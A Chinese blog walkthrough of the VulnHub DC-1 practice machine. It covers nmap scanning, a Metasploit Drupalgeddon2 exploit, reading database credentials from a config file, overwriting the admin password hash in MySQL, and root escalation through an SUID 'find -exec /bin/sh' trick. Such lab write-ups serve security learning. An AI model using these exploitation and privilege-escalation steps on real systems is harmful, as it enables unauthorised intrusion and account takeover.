当前位置:网站首页>【Try to Hack】vulnhub DC1
【Try to Hack】vulnhub DC1
2022-06-25 14:22:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月25日
作者水平很有限,如果发现错误,还望告知,感谢!
靶场下载和安装
下载地址:https://www.vulnhub.com/entry/dc-1-1,292/
我也不太懂,我选了第二个,可以用
用vmmare打开DC-1.ova

选设置
要选NAT模式
kali也要选NAT模式,这样攻击机和靶机就处于同一内网
开始渗透
主机发现netdiscovernmap -sParp-scan -l
这里用netdiscover
太大太小的可能是网关,可以看【Try to Hack】ip地址
所以DC-1 的ip为192.168.88.138
信息收集nmap -sV 192.168.88.138
浏览器看看80端口
drupal这个cms搭建的
直接上msfmsfconsloe
search drupal
随便选择一个模块(基本上都能拿到shell)use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhost 192.168.88.138 靶机的ip
run
拿到了shell
使用python获得一个交互式的shellpython -c 'import pty;pty.spawn("/bin/bash")'

拿到了第一个flag1
提示我们看配置文件

拿到了第二个flag,并获得下一步的提示
还看到了数据库的账号和密码mysql -u dbuser -p
输入密码
R0ck3t
进入数据库了show databases;
show tables from drupaldb;
看users表use drupaldbselect * from users;
看到了admin和密码的hash
说实话我确实看不出来这是哪种hash算法,想尝试破解这个密码,但是弄不出来
看wp
在scripts录有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash
给了有hash的算法php scripts/password-hash.sh 12345
获得12345的hash
替换数据库中的密码update drupaldb.users set pass="$S$D1K11z6Umizyw8cxeck4ZVfihCCk41tqi4fEV6e5Tk6lMp8dAaBm" where name="admin";
成功

登录进入后台了

找了好一会,找到了flag3
suid之find提权 Try to Hack】Linux suid提权
查找拥有suid权限的二进制文件find / -perm -u=s -type f 2>/dev/null
/usr/bin/find . -exec /bin/sh \;
提权成功
一个flag在/etc/passwd里,一个在/root下

结束
边栏推荐
- Discriminative v.s.Generative
- 【HBZ分享】LockSupport的使用
- Realization of neural networks with numpy
- TSDB在民机行业中的应用
- 'NVIDIA SMI' is not an internal or external command, nor is it a runnable program or batch file
- JS recursion and while
- Clipboard tutorial
- Custom instruction, mixing, routing, lifecycle
- Shell operator
- Page 112 machine learning - review of fundamentals of mathematics pptx
猜你喜欢

专家建议|8大措施加速你的创新职业规划和成长

Kubernetes 理解kubectl/调试

Settings the PC must be turned on

Reading the "clean" series for the first time, I didn't think it was a good book

Getting started with numpy Library

Dialogue: recommended system quick start route and summary of knowledge points

Add the resources directory under test in idea

Share the code technology points and software usage of socket multi client communication

Uniapp cloud packaging app

‘nvidia-smi‘ 不是内部或外部命令,也不是可运行的程序或批处理文件
随机推荐
'NVIDIA SMI' is not an internal or external command, nor is it a runnable program or batch file
[untitled]
【世界历史】第二集——文明的曙光
Reading the "clean" series for the first time, I didn't think it was a good book
Basic usage of markdown (plain text and grammar)
启牛是正规的吗?股票开户安全吗?
Jaspersoft studio installation
Problems encountered in debugging botu TCP connection with debugging tool
Nine parts of speech and nine tenses in English
Summary of common functions in Oracle Database
移除区间(贪心)
还没弄明白微服务数据架构事务管理+ACID+一致性+CAP+BASE理论吗,看完彻底解决疑惑
Experts' suggestions | 8 measures to accelerate your innovative career planning and growth
Table de hachage, conflit de hachage
How to view the Chrome browser plug-in location
合宙Air32F103CBT6开发板上手报告
Classifier and cross entropy loss function
shell 数组
Realization of neural networks with numpy
Shell built-in commands